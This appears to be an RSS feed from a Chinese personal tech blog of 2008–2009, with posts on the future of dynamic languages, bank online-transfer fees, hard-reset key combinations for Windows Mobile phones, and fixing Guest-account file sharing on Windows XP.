<p>　　最近IBM、Oracle 正尝试把<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a> 应用到SOA 之中，再一次证明了<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>的优秀。虽然<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>存在着维护困难，复用性低等问题，但这些并不能影响其最终成为主流的动态语言。前不久IBM还基于Apache Geronimo<a class="wordstyle" href="http://www.99126.cn/" target="_blank">项目</a>推出了为it WebSphere Application Server Community Edition<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>集成工具集。该工具集能让<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>人员在SOA中<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>服务时使用<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>和<a class="wordstyle" href="http://www.99126.cn/" target="_blank">Java</a>。zend也推出了<a class="wordstyle" href="http://www.99126.cn/" target="_blank">php</a>的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>框架，这些技术将帮助<a class="wordstyle" href="http://www.99126.cn/" target="_blank">软件</a>公司创建企业级<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>应用。　<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>会变得更加广泛，从当前网站技术上的胜行，到企业级WEB应用，<a class="wordstyle" href="http://www.99126.cn/" target="_blank">php</a>必将成为最有竞争力的动态语言。</p>
<p>　　<strong>2、在<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>的基础上产生新的语言</strong></p>
<p>　　<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>语言的发展是有目共睹的，早已成为时下最为主流的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>语言。在<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>环境下的应用层出不穷，特别是JDK1.5发布之后，<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>在性能上的提升已今非惜比。对于动态语言的支持早就在日程当中。</p>
<p>　　在Lang<a class="wordstyle" href="http://www.99126.cn/" target="_blank">.net</a> 2006 会议上, Sun公司宣布将积极参与让JVM支持动态语言的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a><a class="wordstyle" href="http://www.99126.cn/" target="_blank">项目</a>.将会增加一个新的JVM 指令——invokedynamic，用来设计对动态语言对象的支持。然而主仅仅是一个开始。我想<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>平台将会全面支持动态语言，俱备运行时更改类结构或相关配置。另外很类技术人员都知道Sun已经整体收购了JRuby<a class="wordstyle" href="http://www.99126.cn/" target="_blank">项目</a>，sun公司对于动态语言的发展是有备而战的。目前<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>平台下的动态语言有Groovy、nice、BeanShell、Jython、JRuby、Rhino(<a class="wordstyle" href="http://www.99126.cn/" target="_blank">Java</a>Script)、Jacl(TCL)、Bistro(SmallTalk)、Kawa(Lisp/Schema)，真是越来越多了。<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>下这么多的动态语言建议选择Groovy，感觉血统较为正宗，兼容<a class="wordstyle" href="http://www.99126.cn/" target="_blank">Java</a>的语法，<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a><a class="wordstyle" href="http://www.99126.cn/" target="_blank">程序</a>员学习起来较为容易，上手较快。</p>
<p>　　由于2EE太过于复杂，面对当前的行业需要，必将会在<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>语言的基础上发展出一种新的基于<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>的动态语言，使WEB<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>过程变得更快，更简洁，但又不失<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>自身的特点。使<a class="wordstyle" href="http://www.99126.cn/" target="_blank">Java</a>在WEB<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>能力上达到前所未有的提升。由于sun及IBM公司的推动，反微软企业的支持，还有企业的认可，基于<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>语言所产生的动态语言也必将会成为动态语言家族中有力的竞争对手。</p>
<p>　　<strong>3、<a class="wordstyle" href="http://www.99126.cn/" target="_blank">.net</a>的动态语言</strong></p>
<p>　　微软的动态语言用的人最多的应该是<a class="wordstyle" href="http://www.99126.cn/" target="_blank">asp</a>，现在发展到<a class="wordstyle" href="http://www.99126.cn/" target="_blank">ASP</a><a class="wordstyle" href="http://www.99126.cn/" target="_blank">.NET</a>。看微软在<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>语言方面的发展，他们一定不会放弃这块肥肉，并会加大投入力度，与其它的动态语言提供商火拼到底。只要是有利可图的地方，没有微软不想伸脚的，更何况这是一块大肥肉呢。</p>
<p>　　前不久微软CLR<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>组的负责人Jim Hugunin表示，微软将加强对CLR中的动态语言的支持。并将会发布成熟的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">软件</a>模式，细化到代码中，放在库中供<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>者调用，以帮助他们通过<a class="wordstyle" href="http://www.99126.cn/" target="_blank">.Net</a> Framework上的动态语言<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>自己的应用<a class="wordstyle" href="http://www.99126.cn/" target="_blank">程序</a>。种种迹像表明微软在动态语言方面没闲着，正紧锣密鼓实施着一系例动作。</p>
<p>　　我把微软的动态语言列为最可能成为主流动态语言的原因是因为其Windows的平台无所不在。这是无法否认的。微软势比处投入重手，增强竞争能力。以微软的人力、财力，想不分给微软一块蛋糕是不可能的。有钱就是好，投入大笔的资金，什么都可以做。</p>
<p>　　有人一定会反问我，为什么把其它的动态语言抛开不谈。Perl语言过时了，虽然还有一些公司在使用，但早已不是主流。python、Ruby最近几年开始火起来的动态语言，我并不看好它们，虽然它们是很优秀的语言，但是优秀并不帶表会成为主流。正如操作系统一样，大家都有个共识就是，unix、 Linux很优秀,但是并不是主流系统。当然会有人反驳说应用场景不同，不能一概而论。那么<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>语言也一样，我说的是大众主流，大众主流就是指最广泛的被采用。</p>
<p>　　有人说，未来动态语言会取代静态语言，将一统天下，我并不这样认为，相信应该是动态语言与静态语言互相辅助，各在其擅长的方面发挥作用。比如多线程，目前的动态语言支持都不如静态语言的好，很多还不支持。</p>
<p>　　对于语言的选择，一般性的应用，完全可以采用动态语言完成，也可以采用静态语言，这要看撑握语言的人或是需求而决定。更为灵活，更容易扩展及复用的方式是采用动态语言+静态语言的方式。前台功能采用动态语言实现，后台服务采用静态语言实现，充分利用各自的优势。当前在<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>的WEB应用<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>过程中，采用模板技术就是这类应用模式的一个雏型。<a class="wordstyle" href="http://www.99126.cn/" target="_blank">java</a>的模板技术很多都支持简单的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">编程</a>，如逻辑控制等。当然现在还不能称其为一种语言，但是相信，这一切随着动态语言的发展并将成为一种新的语言。</p>
<p>　　动态语言必将大行其道，但是不是独行，而将与静态语言相辅相成。 <br />
</p>
</div>
<img src ="http://www.blogjava.net/zqli/aggbug/259962.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2009-03-16 11:11 <a href="http://www.blogjava.net/zqli/archive/2009/03/16/259962.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>各大银行网银转账手续费一览表</title><link>http://www.blogjava.net/zqli/archive/2008/10/29/237350.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Wed, 29 Oct 2008 04:28:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/10/29/237350.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/237350.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/10/29/237350.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/237350.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/237350.html</trackback:ping><description><![CDATA[本行同城转账：<br />
<br />
工商：免费<br />
农行：免费<br />
中行：免费<br />
建行：免费<br />
交行：免费<br />
招商：免费<br />
广发：免费<br />
广大：免费<br />
邮政：按汇款的0.5 %收取费用，最高50元。<br />
民生：免费<br />
浦发：免费<br />
中信：免费<br />
<br />
本行异地转款：<br />
<br />
工商：转账金额的1%，最低1元/笔，最高50元/笔。<br />
农行：交易金额的0.4%；最低1元，最高20元。<br />
中行：一万元以下（含1万）5.5元，另加收汇划费的30%；1万元--10万元10.5元，另加收汇划费的30%；10万-50万15.5元，另加收汇划费的30%。<br />
建行：交易金额的0.25%，最低2元，最高25元。<br />
交行：转账金额的0.15%，最低1元/笔，最高50元/笔。<br />
招商：2元<br />
广发：同行账号之间划转按通存金额0.5&#8240;收手续费，最高不超过20元，最低不少于1元。<br />
广大：手续费为汇款金额的0.5%，最低为2元，最高20元。<br />
邮政：按汇款的0.5 %收取费用，最高50元。<br />
民生：按汇款金额的0.1%收取手续费用，最低1元，最高50元。<br />
浦发：免费<br />
中信：按汇款金额的0.2%收取费用，最低10元，最高50元。<br />
<br />
跨行同城转账<br />
<br />
工商：转款金额的1%，最低1元/笔，最高50元/笔。<br />
农行：5000以下：2元/笔，5000元-5万：3元/笔，5万--10万：5元/笔，10万以上：8元/笔。<br />
中行：1万以下（含1万）5.5元，1万以上10.5元。<br />
建行：交易金额的0.5%，最低2元，最高25元。<br />
交行：转账金额的0.7%，最低2元/笔，最高50元。<br />
招商：按汇款金额的0.2%收取费用，最低2元，最高50元。<br />
广发：每笔收取划汇费5.5元。加收万分之五的通存费，最低1元，最高20元。<br />
广大：手续费为汇款金额的0.5%，最低为5元，最高50元。<br />
邮政：按汇款的0.5 %收取费用，最高50元。<br />
民生：2元<br />
浦发：按汇款金额的0.2%收取费用，最低2元，最高10元。<br />
中信：2元。<br />
<br />
跨行异地转账：<br />
<br />
工商：转账金额的1%，最低1元/笔，最高50元/笔。<br />
农行：交易金额的0.5%;最低1元，最高35元。<br />
中行：1玩以下（含1万）5.5元，1万以上10.5元。<br />
建行：交易金额的0.5%，最低2元，最高25元。<br />
交行：转账金额的0.7%，最低2元/笔，最高50元/笔。<br />
招商：按汇款金额的1%收取费用，最低10元，最高25元。<br />
广发：每笔收取汇划费5.5元，加收万分之五的通存费，最低1元，最高20元。<br />
广大：手续费为汇款金额的0.5%，最低5元，最高50元。<br />
邮政：按汇款的0.5 %收取费用，最高50元。<br />
民生：1W（含）他行人民币汇款，电子汇划费5元，手续费0.5元；1W--10W（含）他行人民币汇款，电子汇划费10元，手续费0.5元；10W--50W（含）他行人民币汇款，电子汇划费15元，手续费0.5元；50W-100W（含）他行人民币汇款，电子汇划费20元，手续费0.5元；大于100W，按照汇款金额的0.02&#8240;（最高200元）收费<br />
浦发：按汇款金额的0.8%收取费用，最低2元，最高40元。<br />
中信：按汇款金额的1%收取费用，最低10元，最高50元。<br />
<br />
到账时间：<br />
<br />
工商：1，系统内实时到帐，50W以上次日。2，跨系统根据人民银行的时间。<br />
农行：这个电话没打通<br />
中行：1，系统内9：00-17：00实时到帐。2，跨行1-3个工作日。<br />
建行：1，系统内9：00-16：30实时到帐。2，跨行1-3个工作日。<br />
交行：系统内实时到帐，跨系统24小时工作日。<br />
招商：1，系统内：同城资金实时到帐，异地正常情况下资金可在2个工作日内到账。2，跨行：同城可在2个工作日内到账。异地正常情况下资金可在5个工作日内到账。<br />
广发：1，系统内：1-2个工作日。2，跨行1-2个工作日。<br />
广大：1，系统内1W以下实时到帐，1W以上次日到账。2，跨行1-2个工作日。<br />
邮政：暂未确定<br />
民生：系统内实时。1，同城票交：周一至周五工作日运行，1至2个工作日到账。2，异地汇款：周一至周五工作日运行，3至5个工作日到账。3，大金额实时支付：周一至周五工作日早8：30--下午17：00运行，半个小时到达对方总行。4，小金额实时支付：7X24小时运行，2个小时内到达对方总行。<br />
浦发：系统内实时到帐，跨系统24小时工作日。<br />
中信：所有都是1-2个工作日。<br />
<br />
转账限额：<br />
<br />
工商：单笔：50W 。日累计：250W<br />
农行：暂未确定<br />
中行：1，系统内单笔：20W，日累计：100W。跨行单笔：2W，日累计：50W。<br />
建行：1，系统内单笔：20W，日累计：100W。2，跨行单笔：20W，日累计：100W。<br />
交行：1.系统内单笔：100W，日累计：100W。2，跨行单笔：10W，日累计：100W。<br />
招商：无限制<br />
广发：无限制<br />
广大：1，系统内5000W。2，跨行10W。<br />
邮政：暂未确定<br />
民生：单笔：50W，日累计：200W<br />
浦发：手机：5W。证书：200W<br />
中信：无限制<br />
<br />
有无年费<br />
<br />
工商：证书客户每户12元，其他免费。<br />
农行：证书客户每户12元，其他免费。<br />
中行：免费<br />
建行：普通用户免费，高级用户36元。<br />
交行：免费<br />
招商：免费<br />
广发：免费<br />
广大：免费<br />
邮政：暂未确定<br />
民生：免费<br />
浦发：免费<br />
中信：免费<br />
<br />
Key盘费用<br />
<br />
工商：60元<br />
农行：50元<br />
中行：60元<br />
建行：60元<br />
交行：70元<br />
招商：60元<br />
广发：50元<br />
广大：暂未确定<br />
邮政：暂未确定<br />
民生：70元<br />
浦发：36元<br />
中信：80元<br />
<img src ="http://www.blogjava.net/zqli/aggbug/237350.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-10-29 12:28 <a href="http://www.blogjava.net/zqli/archive/2008/10/29/237350.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】PPC手机硬启动全系列（多普达 HTC O2 华硕等） </title><link>http://www.blogjava.net/zqli/archive/2008/09/05/227184.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 05 Sep 2008 04:35:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/09/05/227184.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/227184.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/09/05/227184.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/227184.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/227184.html</trackback:ping><description><![CDATA[<p>钻石手机:<br />
同时按&#8220;VOICE DOWN"键（就是侧面声音向下的键）和&#8220;action&#8221;键（就是导航圆圈中间的键），然后用笔按一下&#8220;reset&#8221;键（就是隐藏在笔槽内的红色键），然后系统就会硬启，<br />
&nbsp;&nbsp;&nbsp;<br />
硬启后有三个选项：<br />
&nbsp;&nbsp;&nbsp;<br />
1.是按音量向上键，将系统恢复到出厂设置，但是你存放在内置存储器（4G内存）中的数据不丢失；<br />
2.是音量向下键将系统恢复到出厂设置，同时格式化内置存储器；<br />
3.按其他键取消。<br />
P860：按住移动梦网按键和通讯管理按键,就是接听按键和挂断按键下方的两个按键，<br />
然后用触笔点触重启孔，左手保持按住移动梦网按键和通讯管理按键，屏幕出现英文提示后松开。根据屏幕提示点按接听按键，进入恢复出厂值。按其他键则进入正常软启动。<br />
6800:硬启动方法：同时按住拨号键傍边的有两个圆点的功能键＋reset（也就是俗称&#8220;捅屁股&#8221;），等出现英文界面后，松开功能键，按键盘的＂Ｒ＂，操作完成后，再按键盘的＂空格键＂，其他的就按照提示设置就可以了<br />
D810:1.关机的情况下,同时按住: "- -" 两个键,再短按开机键.2.出来英文提示,再按电话接听键,接下来按OK键(挂机键下面那个OK)<br />
O2－XDA ATOM&nbsp; ATOM (加强版)：按住电源戳RESET键，然后同时按下通话和挂断键</p>
<p>O2 Xda Flame 硬启<br />
1、第一步，先同时按住无线键及照像键再捅PP，第二步（很重要），此时无线键及照像键和PP三键已同时按住，松开时一定要先松开PP，而无线键及照像键不松开等待大概1~2秒后会跳出硬启界面；第三步，按照硬启界面的提示，连按两次左软键，既可完成硬启。<br />
O2-XDA-Graphite：按住导航摇杆键(向上)键＋再短按开机键 然后选择yes 就可以了</p>
<p>O2-Xda-Life：尖笔保持在重设键上，并同时按下开关键。萤幕会指示你同时按著绿色（拨出）及红色（终止通话）键来确定执行hard reset。</p>
<p>O2-XDA-Stealth：Windows键+OK键+重启(捅屁股）。</p>
<p>O2-ZINC：在开机的情况下按住关机键再捅小PP，直到出现二行英文字母再按短信键最后按拨号键.硬启开始。</p>
<p>6900：同时按住接听和挂断键后，捅屁股（捅后释放）。</p>
<p>的硬启动大全 586 686、696、818、828硬启动：按住电源键，用触摸笔捅一下机器下面电源尾插旁边的小孔（resert）就可以了。</p>
<p>828+硬启动方法:同时按住电源键和像机键,在用触笔捅828的小孔（resert）,就OK了!<br />
818pro 硬启动方法:同时按住手机音量键上下两边的照相跟语音键再按开机键，直到屏幕出黑屏并提示按手机的拨号键后开始FMART.. 830：（包括S200、Ｏ2的830） 　　1、同时按住照相键和下面的语音拨号键，保持住不要松开。　　<br />
2、捅一下复位键。此时注意按住照相键和语音键不要松开，等到出现白色字的英文硬复位提醒出来为止。 　　<br />
3、按照英文提示按绿色的拨号键开始硬启 。注意按其它任何键就会取消上面2步所作的努力。<br />
838的硬启动方法: 关机状态下，同时按住手机两边最顶上的按扭再按开机键，直到屏幕出黑屏并提示再按手机的拨号键后开始硬启开机状态下，左边录音键+右边voice command语音命令键+中间确认键+重起RESET键（按一下便松开），此动作持续3秒以上，屏幕出现确认窗口后，按后按send拨号键 XDA ATOM：按住电源戳RESET键，然后同时按下通话和挂断键。</p>
<p>C720: 1.按住左右两个快速键。 2.短按开关键1.5秒后放开(仍然按住快速键)。3.此时手机画面出现重新开机的讯息，依照系统指示输入0以后即可进行恢复默认值的动作。</p>
<p>C730: 关机状态下：按住左右"－"键不松手，按下电源键，出现提示，松手按下拨号键就可以了。</p>
<p>CHT9000: 同时按住左右软键，然后捅小孔，然后打开硬键盘，按R和空格，再按照提示完成硬启动。</p>
<p>D600：同时按住左右横键，再按住开机键，只到出现白色英文就放开手，然后按绿色拨号键，OK</p>
<p>D810: 同时按住: "- -" 两个键,再短按开机键. 2.出来英文提示,再按电话接听键,接下来按K键(挂机键下面那个OK).</p>
<p>D900 硬启: 按住键盘第一排的第二个和第五个键不放,再按电源键就可以了.这是屏幕会出现提示.按提示作就行了. P800/P800W/HTC3300/T版的硬启方法：按住滑鼠两侧的带&#8220;—&#8221;的键不放手，用笔捅一下resert,带出现提示，按拨号键，松手就可以了。或者，直接在设置----回复出厂设置就可以了</p>
<p>E616: 左右手的拇指一起按下功能键，即圆圈旁边的两个带横杠的按键，同时用笔点机身底部重启的小洞持续2秒,松笔后，等待2 秒，按一下绿色的打电话那个键就OK啦。</p>
<p>E806：拍照键+滚轮垂直按+开机键。</p>
<p>P4550：同时按住左右横键，再用手写笔按一下小孔.出现英文菜单,按一下拔号键.然后是进程条出现.完毕再按拔号键,自动重启.完成硬启</p>
<p>P660：同时按住左右功能键再按一下（大概一秒钟）开机键（左右功能键一直不要放）等待屏幕出现英文，放开再按通话键。</p>
<p>P800: 同时按住左右横键，在捅一下小孔，屏幕出现文按绿色拨号键OK。</p>
<p>S1：、同时按住接听和挂断键后，点按软启动键（按后释放）2、继续按住接听和挂断键，直到出现硬启动界面3、按确认键</p>
<p>U1000: 音量向下+RESET 出现英文按导航键确认-</p>
<p>565、575、585、566、586：先按—和—不放，在按开机键，有提示后按0<br />
686，696，818，828：先按开关按键，同时再戳RESET口，此动作持续30秒以上<br />
P100：看到五位方向键上面的四个按钮，按住最左边（键1）和左右边的按钮（键4），同时戳一下重起键，然后重起键松开，按钮键不要松开，间隔7—10秒左右即可<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
神达<br />
A501: 在关机状态下同时按着开机键和拨号键！当机子震动就可以拉</p>
<p>A701 按住左侧边的音量下键，在按开机关机键约2秒，手机震动即可。</p>
<p>P550: 其一:在关机状态下,按住方向上键的同时，把冷启动键从OFF 打到 ON，直到有开机画面出现;<br />
其二:打开&#8220;开始&#8221;--&#8220;设置&#8221;--&#8220;系统&#8221;--选择&#8220;Sys Info&#8221;--&#8220;Clean Boot&#8221;--恢复出厂,点击&#8220;开始&#8221;输入：000确定后设备重启.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
ASUS 华硕<br />
P525、P535: 按住向上导航键向上推不放，同时用笔尖按RESET键，这时屏幕会出现一个警告画面，再按电话接听键就可以完成硬启动</p>
<p>P526、P527、P550：1.滚轮向上按住 再用笔点重启按钮。出现提示后，按打电话键。</p>
<p>P735：1、按reset重启一次，然后按向上键+reset，最后屏幕提示按接听键。</p>
<p>P750：按向上推着摇杆，点Reset,，不放手，直到出现选择提示屏，按接听电话键硬启</p>
<p>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
三星I718硬启:同时按住拨号键和挂断键不放+RESET<br />
三星I308硬启：在关机状态，同时按下&#8220;电源键&#8221;＋&#8220;0＋键&#8220;，进入格机模式，提入密码，如果没有更改过密码，请输入&#8220;1234&#8221;，<br />
过二、三分钟，就完成格机，恢复手机出厂的状态，原来存在手机的信息都将丢失。<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－6828：同时按住开机键＋拨号键＋挂机键＋点重启小孔就ok了</p>
<p>38XX，39XX，22XX，51XX，54XX，55XX，21XX，24XX，27XX，47XX，3715，1950：按最外的左键和右键（就是1键和4键）,同时用笔按复位按钮，此动作持续30秒以上<br />
19XX，6515，6315：先按开关按键，同时再戳RESET口，此动作持续30秒以上<br />
2190，2490，2790：日历键+收件箱键+电源键+重起RESET键，此动作持续30秒以上<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
HKC W1000：先关机，然后C网通话 + 拍照 + 开机,开机会看到屏幕蓝屏就可以了。</p>
<p>MATE-PDAG：按住手机左侧的语音键盘和右侧的照相键，再捅一下小也，屏幕上出现英文字母YES.NO,选择YES格机，NO不格。</p>
<p>明基P50：按住电源键，同时按重起RESET键</p>
<p>联想ET600: 下面两个应用键同时按住，再用笔点下面的reset</p>
<p>夏新e85：关屏幕，下电池，上电池，同时按通话键，侧面照相键，再按一下挂机键，出现清除内存的字样后就可松开通话键，侧面照相键，硬启成功</p>
<p>斯达康P903:同时按下开关以及RESET键，然后同时松开，再按下&#8220;挂断键&#8221;约5秒左右，屏幕便会提示询问是否清除本机内存，接下来要在倒计时结束时按住左软键不放，直到屏幕提示&#8220;yes&#8221;，便可以硬启手机，和其他PPC手机相比，算是比较麻烦的一款。</p>
<p>倚天：X500 X600 X800, 按住电源然后同时用手写笔捅reset，马上放开后立即用手按住挂机键不放，直到屏幕出现yes跟no的选择后才放手，立即然后按住拨号键...</p>
<img src ="http://www.blogjava.net/zqli/aggbug/227184.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-09-05 12:35 <a href="http://www.blogjava.net/zqli/archive/2008/09/05/227184.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]windows xp无法访问共享文件夹或者浏览工作组中的计算机</title><link>http://www.blogjava.net/zqli/archive/2008/07/11/214162.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 11 Jul 2008 01:02:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/07/11/214162.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/214162.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/07/11/214162.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/214162.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/214162.html</trackback:ping><description><![CDATA[<p><strong>Ask:</strong>实验室好多台电脑都装了番茄花园XP最新版本的，但装好后才发现所有这些电脑在局域网中，其他电脑可以看到它们，但点击进去都报没有权限访问，察看了服务，并用各种工具修改了，都不见效。而其他电脑装的别的版本的xp都蛮好,怎么回事呢？ <br />
<br />
<strong>Answer:</strong>番茄花园版的guest用户都是关的，把他启用试试,設置了共享還要設置權限的吧,防火墙\帐户\权限都有可能,组策略好像也有设置.光开一个账户修改权限还是不行,后来发现admin没有密码，加了一个，再把guest也加个密码,远程就可以通过guest访问了.</p>
<p><strong>总结如下:</strong></p>
<p>1.检查是否关闭了server服务 <br />
2.、&#8220;本地连接&#8221;&#8594;属性&#8594;常规，检查是否安装了&#8220;Microsoft网络文件和打印机共享&#8221;、&#8220;Microsoft网络客户端&#8221;以及TCP/IP协议； <br />
3.在控制面板&#8594;管理工具&#8594;本地安全策略&#8594;本地策略&#8594;用户权利指派里，&#8220;从网络访问此计算机&#8221;中加入guest帐户，而&#8220;拒绝从网络访问这台计算机&#8221;中删除guest帐户 <br />
4.去掉我的电脑&#8594;工具&#8594;文件夹选项&#8594;查看&#8594;去掉&#8220;使用简单文件共享（推荐）&#8221;前的勾 <br />
5.在控制面板&#8594;管理工具&#8594;本地安全策略&#8594;本地策略&#8594;安全选项里，把&#8220;网络访问：本地帐户的共享和安全模式&#8221;设为&#8220;仅来宾-本地用户以来宾的身份验证&#8221;（可选，此项设置可去除访问时要求输入密码的对话框，也可视情况设为&#8220;经典-本地用户以自己的身份验证&#8221;）； <br />
6.右击&#8220;我的电脑&#8221;&#8594;&#8220;属性&#8221;&#8594;&#8220;计算机名&#8221;，该选项卡中有没有出现你的局域网工作组名称，如&#8220;work&#8221;等。然后单击&#8220;网络 ID&#8221;按钮，开始&#8220;网络标识向导&#8221;：单击&#8220;下一步&#8221;，选择&#8220;本机是商业网络的一部分，用它连接到其他工作着的计算机&#8221;；单击&#8220;下一步&#8221;，选择&#8220;公司使用没有域的网络&#8221;；单击&#8220;下一步&#8221;按钮，然后输入你的局域网的工作组名，如&#8220;work&#8221;，再次单击&#8220;下一步&#8221;按钮，最后单击&#8220;完成&#8221;按钮完成设置。</p>
<img src ="http://www.blogjava.net/zqli/aggbug/214162.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-07-11 09:02 <a href="http://www.blogjava.net/zqli/archive/2008/07/11/214162.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解决XP中启用Guest无法访问网络的问题</title><link>http://www.blogjava.net/zqli/archive/2008/07/11/214159.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 11 Jul 2008 00:47:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/07/11/214159.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/214159.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/07/11/214159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/214159.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/214159.html</trackback:ping><description><![CDATA[<p>描述：有图参考<br />
图片： <br />
<img id="http://bbs.tech.ccidnet.com/attachment/Mon_0703/24_90910_eb20e94e10d958a.jpg" onclick="if(this.width  alt="" />=780) window.open('http://bbs.tech.ccidnet.com/attachment/Mon_0703/24_90910_eb20e94e10d958a.jpg');" src="http://bbs.tech.ccidnet.com/attachment/Mon_0703/24_90910_eb20e94e10d958a.jpg" onload="javascript:if(this.width>'780')this.width='780';setTimeout('if(document.getElementById(\'http://bbs.tech.ccidnet.com/attachment/Mon_0703/24_90910_eb20e94e10d958a.jpg\').height>\'700\')document.getElementById(\'http://bbs.tech.ccidnet.com/attachment/Mon_0703/24_90910_eb20e94e10d958a.jpg\').height=\'700\';',500);" border=0> <br />
<br />
</p>
<div class="tpc_content"><span><span>好多Windows XP系统启用了Guest也无法网络访问，故障解决如下： </span></span>
<p><span>　　启用了Guest为什么仍然不能访问</span></p>
<p>　　1.默认情况下，Windows XP 禁用Guest帐户</p>
<p><span><span>　　2.默认情况下，Windows XP的本地安全策略-用户权利指派-从网络访问此计算机 用户禁止Guest用户从网络访问</span></span></p>
<p><span><span>　　3.默认情况下，Windows XP的本地安全策略-安全选项，&#8220;帐户：使用白空密码的本地帐户只允许进行控制台登陆&#8221;是启用的，也就是说，空密码的任何帐户都不能从网络访问只能本地登陆，Guest默认空密码</span></span></p>
<p><span><span>　　所以，如果需要使用Guest用户访问Windows XP的话，要进行上面的三个设置：启用Guest、修改安全策略允许Guest从网络访问、禁用3里面的安全策略或者给Guest加个密码。</span></span></p>
<p><span>　　访问Windows XP的时候，登录对话框中的用户名是灰的，始终是Guest用户，不能输入别的用户帐号。</span></p>
<p><span><span>　　原因是这个安全策略在作怪(管理工具-本地安全策略-安全选项-&#8220;网络访问：本地帐户的共享和安全模式&#8221;)。</span></span></p>
<p><span>　　默认情况下，Windows XP的访问方式是&#8220;仅来宾&#8221;的方式，那么你访问它，当然就固定为Guest不能输入其他用户帐号了。</span></p>
